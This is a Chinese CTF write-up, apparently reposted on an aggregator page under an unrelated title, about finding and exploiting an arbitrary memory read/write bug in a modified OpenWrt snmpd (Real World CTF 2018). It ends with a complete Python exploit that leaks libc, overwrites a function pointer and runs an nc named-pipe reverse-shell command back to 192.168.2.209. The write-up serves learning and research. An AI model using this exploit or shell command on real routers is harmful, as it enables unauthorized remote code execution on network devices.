openwrt安装打印机服务器_原创

2023-10-27

作者  水滴实验室 单位  恒安嘉新

前言

随着物联网时代逐步的发展,设备之间的联系更为紧密,每个节点都无法独立存在。而与我们每个人都 息息相关的一些设备:路由器、摄像头、打印机等越来越多的影响着我们的生活各个方面,小到个人隐 私,大到敌对势力之间的情报搜集,网络攻击。当前的APT攻击中,光是针对路由器的就屡见不鲜,而 且随着智能社会万物互联的发展,针对路由器进行攻击也变的更加频繁,因此在未来的物联网安全局势 中,路由器安全也是重要一环,对路由器的安全研究也至关重要。本文以 openwrt 路由器为例,展开 此类型的路由器的安全研究方法。本文仅供大家学习参考,不足之处请见谅。

以Real World Finals 2018 Router ,snmp服务漏洞 为例,展开openwrt漏洞挖掘流程的讲解。

# 题目安装包:libnetsnmp_5.8-1_arm_cortex-a9.ipksnmpd_5.8-1_arm_cortex-a9.i

1. openwrt简介

openwrt的安装程序是用IPK来安装的

首先,IPK是个tar压缩包,安装其实就是通过解压到系统根目录来完成安装的。所以,ipk的安装是覆盖安装。也就是说,再次安装会覆盖掉原来的文件。

ipk里的结构

ipk里的结构有3个文件,分别是:debian-binary     ##版本信息,一般写的都是2.0……data.tar.gz       ##安装包的数据包,主要的安装文件都在这里,通过解压这个文件到根目录来达到安装的目的control.tar.gz    ##安装配置文件,里面放的是安装包的配置脚本。# data.tar.gz 是分析的重点,里面包含库文件或者应用程序

2.  查找openwrt模块中自定义函数流程

像   openwrt   之类的模块化系统,一般都是在开源框架的基础上进行修改,更改子模块。

当分析openwrt 固件中的程序时,可以将安装程序的 *.ipk包中的文件与openwrt 公开的得相同安装程 序 *.ipk包中的文件通过 bindiff 做对比,快速定位修改的模块中的自定义函数,具体流程如下:

2.1)下载openwrt官网提供snmp安装包

libnetsnmp_5.8-1_arm_cortex-a9.ipk

snmpd_5.8-1_arm_cortex-a9.ipk

2.2)对比安装包中的文件

libnetsnmp_5.8-1_arm_cortex-a9.ipk 库文件对比:

a92b98f552026640595fe9888580fbae.png

snmpd_5.8-1_arm_cortex-a9.ipk 中 snmpd 应用程序对比:

53b340641f286716b6f5c805f57eda09.png

可以发现:libnetsnmpagent.so.35.0.0 和  libnetsnmp.so.35.0.0 库文件改动较大

2.3)bindiff对比库文件

libnetsnmp.so.35.0.0

630b2ed71f31c5960962e92cca09cba5.png

查看 init_mib_modules 对比流程:

185731ec811c317966cdbbbbbe6f6743.png

根据对比可知:init_mib_modules (初始化MIB) 修改了 openwrt 官方提供的 init_mib_modules  。

按照此方法,可知:

init_greatSensors

handle_greatMiscSensorsDevice

handle_greatMiscSensorsIndex 

为自定义函数,是 openwrt漏洞挖掘中重点分析对象。然后再使用 ida、Ghidra 等反编译工具详细分析。

3. 环境搭建

3.1)编译openwrt

Ubuntu所需编译软件包

sudo apt-get install gcc g++ binutils patch bzip2 flex bison make autoconf gettext texinfo unzip sharutils subversion libncurses5-dev ncurses-term zlib1g-dev gawk asciidoc libz-dev

sudo apt-get install gcc sudo apt-get install g++sudo apt-get install binutils sudo apt-get install patch sudo apt-get install bzip2 sudo apt-get install flexsudo apt-get install bison sudo apt-get install makesudo apt-get install autoconf sudo apt-get install gettext sudo apt-get install texinfo sudo apt-get install unzipsudo apt-get install sharutilssudo apt-get install subversionsudo apt-get install libncurses5-dev sudo apt-get install ncurses-term sudo apt-get install zlib1g-devsudo apt-get install subversion sudo apt-get installgit-core sudo apt-get install gawksudo apt-get install asciidoc sudo apt-get install libz-dev

检查编译环境

#检查编译环境是否完整,如果提示错误,则根据错误信息进行排错#一般是提示缺少相关工具,apt install 即可./scripts/feeds update -a./scripts/feeds install -a

根据需求裁剪系统

#Target System、Subtarget 需要根据目标板型号正确选择#其它功能模块根据需求进行选择 mira@ubuntu:openwrt $ make menuconfig
Target System: BCM47XX/53XX Target Profile: Netgear R6300 v2

03c96eea0934c8efc929d70c04a74e11.png

Target Images: squashfs   //系统类型

5a80f9fe2f5ff0c628ab3d4d249641ae.png

Development: gdb gdbserver //用于调试

2132577b0ce4a23c121d0d376a4b8e90.png

查看编译的文件系统:

mira@ubuntu:openwrt$ cd build_dir/target-arm_cortex-a9_musl_eabi/root-bcm53xxmira@ubuntu:root-bcm53xx$ lsbindevetclibmntoverlayprocromrootsbinsystmpusrvarwww

3.2)修复snmpd环境并安装

将编译好的文件系统传到 debian-armhf 虚拟系统中

mira@ubuntu:target-arm_cortex-a9_musl_eabi$ tar -cf ./root-bcm53xx.tar root-bcm53xxmira@ubuntu:target-arm_cortex-a9_musl_eabi$ python -m SimpleHTTPServer 80root@debian-armhf:~/R6300_snmp# wget http://192.168.2.209/root-bcm53xx.tarroot@debian-armhf:~/R6300_snmp# tar -xf ./root-bcm53xx.tar

将snmpd题目 .ipk包传输到debian-armhf

mira@ubuntu:R6300Snmp$ lslibnetsnmp_5.8-1_arm_cortex-a9.ipksnmpd_5.8-1_arm_cortex-a9.ipkmira@ubuntu:R6300Snmp$ python -m SimpleHTTPServer 80# OpenWrtroot@debian-armhf:~/R6300_snmp/root-bcm53xx # wget http://192.168.2.209/libnetsnmp_5.8-1_arm_cortex-a9.ipkroot@debian-armhf:~/R6300_snmp/root-bcm53xx# wget http://192.168.2.209/snmpd_5.8-1_arm_cortex-a9.ipkroot@debian-armhf:~/R6300_snmp/root-bcm53xx# lsbin                                 rootdev                                 sbinetc                                 snmpd_5.8-1_arm_cortex-a9.ipklib                                 syslibnetsnmp_5.8-1_arm_cortex-a9.ipk  tmpmnt                                 usroverlay                             varproc                                wwwrom

挂载文件系统

root@debian-armhf:~/root-bcm53xx#mount -o bind /dev/ ./dev/ root@debian-armhf:~/root-bcm53xx#mount -t proc /proc/ ./proc/ root@debian-armhf:~/root-bcm53xx# mount sysfs./sys -t sysfs root@debian-armhf:~/root-bcm53xx# chroot . ./bin/sh

安装snmp环境:

/ # mkdir /var/lock/ # mkdir /var/run/ # opkg install ./libnetsnmp_5.8-1_arm_cortex-a9.ipk/ # opkg install ./snmpd_5.8-1_arm_cortex-a9.ipk

查看snmpd的安装,手动启动服务

/ # find / -name snmpdfind: /sys/module/smsc/drivers/mdio_bus:SMSC LAN8710/LAN8720: No such file or directory/usr/sbin/snmpd/etc/init.d/snmpd/etc/config/snmpd/ # netstat -anp|grep snmpd//没有找到/ #//手动启动/ # /usr/sbin/snmpd/ # netstat -anp|grep snmpdudp  0  0 0.0.0.0:161   0.0.0.0:*       3607/snmpdudp  0  0 :::161   :::*                 3607/snmpdunix 2 [ ACC ] STREAM  LISTENING  12833 3607/snmpd/var/run/agentx.sock / # ps | grep snmpd2599 root2080 S  /usr/sbin/snmpd2784 root1104 S  grep snmpd

使用snmpwalk遍历 snmp 所开启的oid:

mira@ubuntu:~$ snmpwalk -c public -O n -v 1 192.168.122.89mira@ubuntu:~$ snmpwalk -c public -O n -v 1 192.168.122.89 ..1.3.6.1.4.1.2021.13.32.1.0 = INTEGER: 0.1.3.6.1.4.1.2021.13.32.2.0 = INTEGER: 1995953448End of MIB
4. Snmp协议

4. 1)snmp介绍

主要用来提供设备运行和系统信息

1. SNMP是TCP/IP协议簇的一个应用层协议,工作在UDP 161 端口。用于监控目标设备的操作系统、硬件设备、服务应用、软硬件配置、网络协议状态、设备性能及资源利用率、设备报错事件信息、应用程序状态等软硬件信息。2. SNMP的通信字符串主要包含两类命令:GET命令,SET命令。Get:读取网络设备的状态信息。例如连接状态、接口名称等。Set:远程配置设备参数。例如关闭某个网络接口、修改路由器参数等功能。Trap:管理站及时获取设备的重要信息。** GET、SET命令都可能被用于拒绝服务攻击(DoS)和恶意修改网络参数。

snmp协议是基于oid树进行信息存储管理

一套完整的SNMP系统主要包括管理信息库(MIB)、管理信息结构(SMI)及SNMP报文协议。

管理信息库MIB:定义了可访问的网络设备及其属性,由对象识别符(OID:Object Identifier)唯一指定。MIB是一个树形结构,SNMP协议消息通过遍历MIB树形目录中的节点来访问网络中的设备。一个特定对象的标识符可通过由根到该对象的路径获得。如: 名字空间ip结点下一个名字为ipInReceives的MIB变量被指派数字值3因而该变量的名字为:iso.org.dod.internet.mgmt.mib.ip.ipInReceives相应的数字表示(对象标识符OID,唯一标识一个MIB对象)为:1.3.6.1.2.1.4.3

SNMP命令

snmpwalk

SNMPWALK是一个通过SNMP GET-NEXT类型PDU,实现对目标AGENT的某指定MIB分支信息进行完整 提取输出的命令工作。

snmpwalk [选项] agent [oid]a) –h   显示帮助b) –v 1|2c|3指定SNMP协议版本c) –V  显示当前SNMPWALK命令行版本d) –r RETRIES指定重试次数,默认为0次。e) –t TIMEOUT指定每次请求的等待超时时间,单为秒,默认为3秒。f) –Cc指定当在WALK时,如果发现OID负增长将是否继续WALK。2. V1、V2C选项a) –c COMMUNITY指定共同体字符串3. V3选项a) –l LEVEL指定安全级别:noAuthNoPriv|authNoPriv|authPrivb) –u USER-NAME安全名字c) –a PROTOCOL验证协议:MD5|SHA。如果-l指定为authNoPriv或authPriv时才需要。d) –A PASSPHRASE验证字符串。如果-l指定为authNoPriv或authPriv时才需要。e) –x PROTOCOL加密协议:DES。如果-l指定为authPriv时才需要。f) –X PASSPHRASE加密字符串:如果-l指定为authPriv时才需要
snmpwalk -c public -o n -v 1 192.168.1.1snmpget -c public -v 1 192.168.1.1 1.3.6.1.4.1.2021.13.32.1.0   //读取snmpset -c public -v 1 192.168.1.1 1.3.6.1.4.1.2021.13.32.1.0 i val //设置值(覆盖,存在漏洞点)

4.2)snmp demo

snmp     的开发主要是根据开源框架,遵循snmp的接口开发子模块

/** Note: this file originally auto-generated by mib2c using*  $*/#include #include #include  #include "Test.h"#include /** Initializes the Test module */voidinit_Test(void){const oidGetTime_oid[] = { 1, 3, 6, 1, 4, 1, 16535, 1, 1 };DEBUGMSGTL(("Test",  "Initializing\n"));netsnmp_register_scalar(netsnmp_create_handler_registration                        ("GetTime", handle_GetTime, GetTime_oid,                          OID_LENGTH(GetTime_oid),HANDLER_CAN_RONLY));}inthandle_GetTime(netsnmp_mib_handler  *handler,netsnmp_handler_registration *reginfo, netsnmp_agent_request_info *reqinfo, netsnmp_request_info *requests){/**We are never called for a GETNEXT if it's registered as a*"instance", as it's "magically" handled for us.*//**a instance handler also only hands us one request at a time, so*we don't need to loop over a list of requests; we'll only get one.*/time_t t;switch (reqinfo->mode) { case MODE_GET:  time(&t);  char szTime[100];  snprintf(szTime,100,"%s",ctime(&t));  snmp_set_var_typed_value(requests->requestvb,  ASN_OCTET_STR,/** XXX: a pointer to the scalar's data*/ szTime ,/** XXX: the length of the data in bytes*/ strlen(szTime));break;default:/** we should never get here, so this is a really bad error*/snmp_log(LOG_ERR, "unknown mode (%d) in handle_GetTime\n", reqinfo->mode);return SNMP_ERR_GENERR;}return SNMP_ERR_NOERROR;}static int keep_running;RETSIGTYPE stop_server(int attribute ((unused)) a) { keep_running = 0;}int main(){const char *app_name = "Test";/* we are a subagent */netsnmp_ds_set_boolean(NETSNMP_DS_APPLICATION_ID,  NETSNMP_DS_AGENT_ROLE,  1);/* initialize the agent library */ init_agent(app_name);/* initialize your mib code here */ init_Test();/* Test will be used to read Test.conf files. */ init_snmp("Test");keep_running = 1; while(keep_running)agent_check_and_process(1);/* block every 1 second */}/* at shutdown time */ snmp_shutdown(app_name);/* deinitialize your mib code here *//* shutdown the agent library */ shutdown_agent();return 0;}int main (int argc, char **argv){int arg;char* cp = NULL;int dont_fork = 0, do_help = 0;while ((arg = getopt(argc, argv, "dD:fhHL:"#ifndef DISABLE_MIB_LOADING"m:M:"#endif /* DISABLE_MIB_LOADING */"n:"#ifndef DISABLE_MIB_LOADING"P:"#endif /* DISABLE_MIB_LOADING */"vx:")) != EOF) {switch (arg) {case 'D':/*这里省略多个case break,只是一些选项,没必要研究/ break;default:fprintf(stderr, "invalid option: -%c\n", arg); usage(argv[0]);break;   }}if (do_help) { netsnmp_ds_set_boolean(NETSNMP_DS_APPLICATION_ID,NETSNMP_DS_AGENT_NO_ROOT_ACCESS, 1);} else {/* we are a subagent第一步:这里是告诉snmpd我们这个Test作为子代理*/ netsnmp_ds_set_boolean(NETSNMP_DS_APPLICATION_ID,NETSNMP_DS_AGENT_ROLE, 1);if (!dont_fork) {/* 这里是让Test程序变成守护进程,执行Test后可以在后台运行不会退出*/if (netsnmp_daemonize(1, snmp_stderrlog_status()) != 0) exit(1);}/* initialize tcpip, if necessary */ SOCK_STARTUP;}/* initialize the agent library 第二步*/ init_agent(app_name);/* initialize your mib code here 第三步*/init_Test();/* Test will be used to read Test.conf files. 第四步 */ init_snmp("Test");if (do_help) {fprintf(stderr, "Configuration directives understood:\n"); read_config_print_usage("");exit(0);}/* In case we received a request to stop (kill -TERM or kill -INT) */netsnmp_running = 1;#ifdef SIGTERMsignal(SIGTERM, stop_server);#endif#ifdef SIGINTsignal(SIGINT, stop_server);#endif#ifdef SIGHUPsignal(SIGHUP, hup_handler);#endif/* main loop here... */ while(netsnmp_running) {if (reconfig) { free_config(); read_configs(); reconfig = 0;}agent_check_and_process(1);}/* at shutdown time */ snmp_shutdown(app_name);/* deinitialize your mib code here *//* shutdown the agent library */ shutdown_agent();SOCK_CLEANUP;exit(0);}

4.3)Snmp三个关键函数分析

用于定位自定义函数(挖洞重点关注的)

Net-SNMP Agent handler and extensibility API

init_mib_modules

初始化MIB,可根据此函数查看注册的模块接口,进而查找自定义的设备对象及自定义函数

void init_mib_modules(void){#ifdef USING_IF_MIB_DATA_ACCESS_INTERFACE_MODULEnetsnmp_access_interface_init();#endif#include "mib_module_inits.h"}

netsnmp_create_handler_registration

netsnmp_handler_registration * netsnmp_create_handler_registration(const char *name,//注册函数名Netsnmp_Node_Handler *handler_access_method,//注册函数const oid *reg_oid, size_treg_oid_len,intmodes)使用新的MIB处理程序创建处理程序注册结构。此函数首先创建一个MIB处理程序,然后为其创建注册结构。参数:name  netsnmp_create_handler()的处理程序名称handler_access_method是用作netsnmp_create_handler()的访问方法的函数指针 reg_oid注册位置oid。reg_oid_lenreg_oid的长度;可以使用OID_LENGTH宏modes用于配置读取/写入访问,如netsnmp_handler_registration_create() 返回值:返回指向netsnmp_handler_registration结构的指针。如果结构创建失败,则返回NULL。

snmp_set_var_typed_value

handle_GetTime(netsnmp_mib_handler *handler,netsnmp_handler_registration *reginfo, netsnmp_agent_request_info * , netsnmp_request_info *requests);//回调函数// snmp_set_var_typed_value 数据传输snmp_set_var_typed_value(requests->requestvb, ASN_OCTET_STR,/*XXX: a pointer to the scalar's data*/ szTime,/*XXX: the length of the data in bytes*/ strlen(szTime))}//注册函数用于定位 回调函数(自定义函数,挖洞重点关注的) netsnmp_register_scalar(netsnmp_create_handler_registration("GetTime", handle_GetTime , GetTime_oid, OID_LENGTH(GetTime_oid), HANDLER_CAN_RONLY));
5.snmpd 服务漏洞

根据上文——2.查找openwrt模块中自定义函数流程中的结果,函数分析

int init_mib_modules(){int result; // r0@1 int v1; // r3@3result = should_init((int)"greatSensors"); if ( result )result = j_init_greatSensors(); v1 = dword_1102C;dword_11028 = 1;if ( !dword_1102C ){dword_1102C = 1;result = snmp_register_callback(v1, 2, sub_9D4); if ( result )result = snmp_log(3, "error registering for SHUTDOWN callback for mib modules\n");}return result;}

注册回调函数

//注册oidvoid *init_greatSensors(){  int v0; // r0@1  int v1; // r0@1  void *result; // r0@1  int device_oid; // [sp+10h] [bp-60h]@1  signed int v4; // [sp+14h] [bp-5Ch]@1  signed int v5; // [sp+18h] [bp-58h]@1  signed int v6; // [sp+1Ch] [bp-54h]@1  signed int v7; // [sp+20h] [bp-50h]@1  signed int v8; // [sp+24h] [bp-4Ch]@1  signed int v9; // [sp+28h] [bp-48h]@1  signed int v10; // [sp+2Ch] [bp-44h]@1  signed int v11; // [sp+30h] [bp-40h]@1  signed int v12; // [sp+34h] [bp-3Ch]@1  int index_oid; // [sp+38h] [bp-38h]@1  signed int v14; // [sp+3Ch] [bp-34h]@1  signed int v15; // [sp+40h] [bp-30h]@1  signed int v16; // [sp+44h] [bp-2Ch]@1  signed int v17; // [sp+48h] [bp-28h]@1  signed int v18; // [sp+4Ch] [bp-24h]@1  signed int v19; // [sp+50h] [bp-20h]@1  signed int v20; // [sp+54h] [bp-1Ch]@1signed int v21; // [sp+58h] [bp-18h]@1  signed int v22; // [sp+5Ch] [bp-14h]@1  device_oid = 1;  v4 = 3;  v5 = 6;  v6 = 1;  v7 = 4;  v8 = 1;  v9 = 2021;  v10 = 13;  v11 = 32;  v12 = 2;  index_oid = 1;  v14 = 3;  v15 = 6;  v16 = 1;  v17 = 4;  v18 = 1;  v19 = 2021;  v20 = 13;  v21 = 32;  v22 = 1;  v0 = netsnmp_create_handler_registration((int)"greatMiscSensorsDevice", (int)off_10FFC, (int)&device_oid, 10);  netsnmp_register_scalar(v0);  v1 = netsnmp_create_handler_registration((int)"greatMiscSensorsIndex", (int)off_10FF0, (int)&index_oid, 10);  netsnmp_register_scalar(v1); result = malloc(0x78u);dword_11024 = (int)result;dword_11020 = 0;return result;}

5.1)两个回调函数:

handle_greatMiscSensorsIndex (漏洞点)

int fastcall handle_greatMiscSensorsIndex(int a1, int a2, netsnmp_agent_request_info *reginfo, _DWORD *requests){int v4; // r4@1_DWORD *v5; // r5@2 netsnmp_agent_request_info *v6; // r6@2 int result; // r0@5v4 = reginfo->mode;if ( reginfo->mode == 2 ) //write buf{dword_11020_index = **(_DWORD **)(*requests + 16); //对于数据没有判断,存在整型溢出return 0;}v5 =requests; v6 =reginfo;if  (reginfo->mode > 2 ) //read buf{if ( v4 > 5 ){if ( v4 != 160 )goto LABEL_5;snmp_set_var_typed_value(*requests, 2, (int)&dword_11020_index, 4);}return 0;}if ( v4 ){if ( v4 != 1 ){ LABEL_5:snmp_log(3, "unknown mode (%d) in handle_greatMiscSensorsDevice\n", reginfo->mode);return 5;}return 0;}result = netsnmp_check_vb_type(*requests, 2); if ( result ){netsnmp_set_request_error(v6, v5, result); return 0;}return result;}

5.2)handle_greatMiscSensorsDevice

int fastcall handle_greatMiscSensorsDevice(int a1, int a2, netsnmp_agent_request_info *reginfo, _DWORD *a4){netsnmp_agent_request_info *v4; // r6@1 int v5; // r4@1_DWORD *v6; // r5@1int result; // r0@5int v8; //r0@8int v9; //r3@9const char*v10; // r2@9int v11; // r1@9signed int v12; // r2@15v4 =reginfo;v5 = reginfo->mode; v6= a4;if( reginfo->mode == 2 ) //write buf{if ( dword_11020_index <= 29 ){*(_DWORD *)(dword_11024_devbuf + 4 * dword_11020_index) = **(_DWORD **)(*a4 + 16);return 0;}v12 = 13; LABEL_16:netsnmp_set_request_error(v4, v6, v12); return 0;}if ( reginfo->mode > 2 ) //read buf{if ( v5 > 5 ){if ( v5 != 160 )goto LABEL_5; v8 = *a4;if ( dword_11020_index > 29 ){v9 = 7;v11 = 4;v10 = "Go Back";}else{ //当dword_11020_index<=29时,根据dword_11020_index的值读取内存的值 v9 = 4;v10 = (const char *)(dword_11024_devbuf + 4 * dword_11020_index); v11 = 2;}snmp_set_var_typed_value(v8, v11, (int)v10, v9);}return 0;}if ( v5 ){if ( v5 != 1 ){ LABEL_5:snmp_log(3, "unknown mode (%d) in handle_greatMiscSensorsDevice\n", reginfo->mode);return 5;}return 0;}result = netsnmp_check_vb_type(*a4, 2); if ( result ){v12 = result; goto LABEL_16;}return result;}

当dword_11020_index 的值设置为大于29 时,获取device_oid( .1.3.6.1.4.1.2021.13.32.2.0)的值为:Go Back

4e417f8225137bb3d96d5d8b607484d7.png

5.3)漏洞分析

handle_greatMiscSensorsIndex oid对象 ( .1.3.6.1.4.1.2021.13.32.1.0 ) 对 dword_11020_index进 行set设置:

if ( reginfo->mode == 2 ) //write buf{dword_11020_index = **(_DWORD **)(*requests + 16); //对于数据没有判断,存在整型溢出return 0;}

handle_greatMiscSensorsDevice oid对象 (.1.3.6.1.4.1.2021.13.32.2.0 ) 写操作如下:

if ( reginfo->mode == 2 ) //write buf{if ( dword_11020_index <= 29 ){*(_DWORD *)(dword_11024_devbuf + 4 * dword_11020_index) = **(_DWORD **)(*a4+ 16);return 0;}

漏洞成因

handle_greatMiscSensorsDevice中写内存位置是根据 handle_greatMiscSensorsIndex中 dword_11020_index值进行定位的,而handle_greatMiscSensorsIndex中对 dword_11020_index 值的设置并没有进行检查,当 dword_11020_index 小于0时,存在任意位置写; 读也一样,任意位置 读。

6  poc

本环境的poc代码如下:

from pwn import * import sysimport os import structcontext.log_level="debug"def read(ip,offset):cmd1="snmpset -c public -v 1 %s .1.3.6.1.4.1.2021.13.32.1.0 i %s" % (ip,offset/4)cmd2="snmpget -c public -v 1 %s .1.3.6.1.4.1.2021.13.32.2.0" %ip os.system(cmd1)p2=process(cmd2,shell=True) p2.recvuntil("INTEGER: ") leak=int(p2.recvuntil("\n").strip()) if leak<0:leak = 0x100000000+leak p2.close()return leakdef write(ip,offset,data):cmd1="snmpset -c public -v 1 %s .1.3.6.1.4.1.2021.13.32.1.0 i %s" % (ip,offset/4)cmd2="snmpset -c public -v 1 %s .1.3.6.1.4.1.2021.13.32.2.0 i %s" %(ip,data) os.system(cmd1)time.sleep(1)os.system(cmd2)def getshell(ip):cmd3="snmpget -c public -v 1 %s .1.3.6.1.4.1.2021.13.32.1.0" %ip os.system(cmd3)if      name     =="     main     ": ip=sys.argv[1]#lead addr# handler_dev: 0x76e72ffcdev_buf(0x76f349f0) handler_dev_addr=read(ip,-0xC19F4) mibso_base=handler_dev_addr-0x70c# 根据 libnetsnmpmibs.so 的基地址计算 libc.so 的基地址# offset = libc_addr - libnetsnmpmibs.so.35.0.0_addr = 0x76f46000 - 0x76ef5000 = 0x51000libc_address = mibso_base+0x51000 log.info("mibso_base="+hex(mibso_base)) log.info("libc_base="+hex(libc_address))system_addr = libc_address +0x43210dev_buf = mibso_base +0xd2e90 # calc dev_buf dev_buf(0xb6fe5e90)- mibso_base(vmmp)cmd_buf = mibso_base+0x11100 # store cmd bufmagic = libc_address +0x596BC # dword_80394(dword_80398); rop chain rop_func = libc_address +0x80394rop_para = libc_address +0x80398# write cmd to cmd_bufcmd = 'rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/ls -i 2>&1|nc 192.168.2.209 8888 > /tmp/f\x00\x00\x00\x00'for i in range(len(cmd)/4):write(ip,cmd_buf-dev_buf+i*4,struct.unpack('i',cmd[i*4: i*4+4])[0])time.sleep(1)write(ip, rop_func - dev_buf, system_addr-0x100000000) write(ip, rop_para - dev_buf, cmd_buf-0x100000000)# write handler_indexrop_addr = -0xC1A00 #dev_buf(0x76f349f0) - handler_index(0x76e72ff0) write(ip,rop_addr,magic-0x100000000)getshell(ip)

ROP 信息:

#### ROP// 任意内存写时,R3 system; R2  param// libc.so :arm LOAD:000596BC    LDR     R3, =(dword_80394 - 0x596CC)LOAD:000596C0    LDR     R2, =(dword_80398 - 0x596D0)LOAD:000596C4    ADD     R3, PC, R3 ; dword_80394LOAD:000596C8    LDR     R0, [PC,R2] ; dword_80398LOAD:000596CC    LDR     R3, [R3]LOAD:000596D0    BLX     R3LOAD:000596D4    MOV     R0, R5LOAD:000596D8     BL     sem_postLOAD:000596DC    MOV     R0, R4LOAD:000596E0     BL     sem_wait
7. poc执行效果

监听

635b36a58cab8fb53f5222d1b89723a8.png

执行poc.py

6d4f56738f0c01d8052535072e067169.png

4fbf44389548c025d9fe2cb86c921e74.png

参考

https://www.jianshu.com/p/77293121030e

转载请注明来自:关键基础设施安全应急响应中心(微信号CII-SRC)

d419eca70b6508a6ebb8d06e0ff91060.png

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

openwrt安装打印机服务器_原创 的相关文章

  • linux安装中文、中文输入法以及火狐浏览器中文

    emm 今天突然想用下linux版本的web项目 发现进入浏览器后无法输入中文 鹅且也不知道中文输入法的入口 OTZ 摸索了一会 整理出来分享下 这里是分割线 啦啦啦啦 第一步 设置中文 话不多说直接看图 保存好 退出终端 重启系统 界面啥
  • 报错 LINK : fatal error LNK1181: 无法打开输入文件“cxcore.lib”

    转自 http www cnblogs com lxt287994374 archive 2012 11 23 2785274 html vs2010报错 1 gt LINK fatal error LNK1181 无法打开输入文件 cxc
  • C++头文件容器库——vector

    vector的使用 首先添加头文件 include
  • GDI+使用步骤

    相比较GDI GDI 增加了渐变的画刷 支持多种图像格式等 不过最大的变化 还是编程模型上的变化 GDI 使用了面向对象的思想 对接口进行了类封装 使用更加方便 在应用程序中使用GDI 库应该遵循一下步骤 1 引入Gdiplus h头文件
  • 辟谣、催债、倒闭.....2018年后,将再无创业黄金期!

    导读 上下游没钱了 信贷机构没钱了 风险投资人也没钱了 中小企业成本和资金压力大 企业违约 到期没法还债 非银行金融机构爆雷 大量出问题 股市非理性下滑 所有人进入新一轮升级性迷茫 由于各项成本的抬升 未来 不缺钱也不缺资源的头部企业将变得
  • Spark 基础教程

    Spark是基于内存计算的大数据并行计算框架 可用于构建大型的 低延迟的数据分析应用程序 Spark特点 运行速度快 Spark使用先进的DAG Directed Acyclic Graph 有向无环图 执行引擎 以支持循环数据流与内存计算
  • 软件发布之版本命名

    简介软件的版本命名与编号 img src http blog csdn net ppbage aggbug 747919 aspx width 1 height 1
  • unity--触屏游戏中如何判断点击的位置的左右&触屏游戏中如何判断点击的位置的左右&通过反转对象,让左侧运动的动画应用于右侧运动&通过代码改变图层覆盖顺序(Sorting Layer)

    文章目录 触屏游戏中如何判断点击的位置的左右 使用获取到的触碰坐标来进行左右移动 通过反转对象 让左侧运动的动画应用于右侧运动 通过代码改变图层覆盖顺序 Sorting Layer 触屏游戏中如何判断点击的位置的左右 我们先要有一个可以反馈
  • osg学习(四十)osg::Viewer的realize创建窗体的几种方式

    能够根据屏幕数 创建不同位置的窗口 void Viewer realize 在某一个屏幕上创建无边框窗口 在某一个屏幕上创建正常窗口 在所有屏幕上创建正常窗口 一个窗口 窗口位置可以跨屏幕 osgViewer SingleWindow实现
  • promise笔记

    promise笔记 以下笔记主要参考axios官网里的promise教程 写在这里方便以后复习或者查找 Promise javascript info 可以通过这个链接进行学习 更加详细 文章目录 promise笔记 1 介绍 2 基本语法
  • 将字符串格式的时间格式化

    时间格式化 param Number date 时间戳 param DateString fmt 时间格式 dateFormat yyyy MM dd hh mm ss S gt 2016 03 12 20 13 32 232 return
  • Object.create 以及 Object.setPrototypeOf

    第一部分 Object crate 方法是es5中的关于原型的方法 这个方法会使用指定的原型对象以及属性去创建一个新的对象 语法 Object create proto propertiesObjecy 参数 proto 必须的 一个对象
  • 云计算简介

    什么是 云 迁移至云端 在云中运行 在云中存储 从云端访问 当今时代 似乎一切都在 云 中进行 但是 云 究竟是一个什么样的概念 简单来说 云就是互联网连接的另一端 你可以从云端访问各种应用程序和服务 也可以在云端安全存储你的数据 云 之所
  • 扫描二维码 跳转到小程序指定页面

    注意 必须发布代码之后才能使用扫描二维码跳转 规则 1 二维码规则 填写你要生成的二维码的链接 2 小程序功能页面 要跳转的小程序的页面 3 测试链接 也填同样的链接 4 将上面的链接生成一个二维码 测试链接 5 通过微信扫描这个二维码跳转
  • 安装Apex库

    在Linux系统下安装Apex库 1 安装流程 按顺序使用如下命令 git clone https github com NVIDIA apex cd apex pip3 install v no cache dir 注意 不能直接使用pi
  • iOS 多线程

    1 怎么用GCD实现多读单写 dispatch barrier async 2 ios系统为我们提供的几种多程序技术各自的特点是怎样的 GCD 实现一些简单的线程同步 子线程的分派 包括一些类似于多读单写 nsoperation 比如adn
  • 2022年最佳的9种逆向工程工具[持续更新]

    逆向是复杂的 然而 软件开发人员经常在面临一项具有挑战性的任务时转向反向工程 增强软件安全性 使软件与第三方组件兼容 维护遗留代码 等等 在本文中 我们将描述我们的软件逆向程序在工作中所依赖的主要工具 并展示如何使用这些工具的实际示例 本文
  • python输入多组测试数据_python ddt数据驱动实例代码分享

    python ddt数据驱动最简实例 在接口自动化测试中 往往一个接口的用例需要考虑 正确的 错误的 异常的 边界值等诸多情况 然后你需要写很多个同样代码 参数不同的用例 如果测试接口很多 不但需要写大量的代码 测试数据和代码柔合在一起 可
  • STM32基于HAL库带FreeRTOS系统的Freemodbus移植

    STM32基于HAL库移植带FreeRTOS系统的Freemodbus移植 移植前提 下载所需源码 可能的win10 IAR设置 从站注意定义寄存器数量大小 效果查询报文 效果回复报文 移植事件 定时器 串口 事件移植 串口移植 定时器移植

随机推荐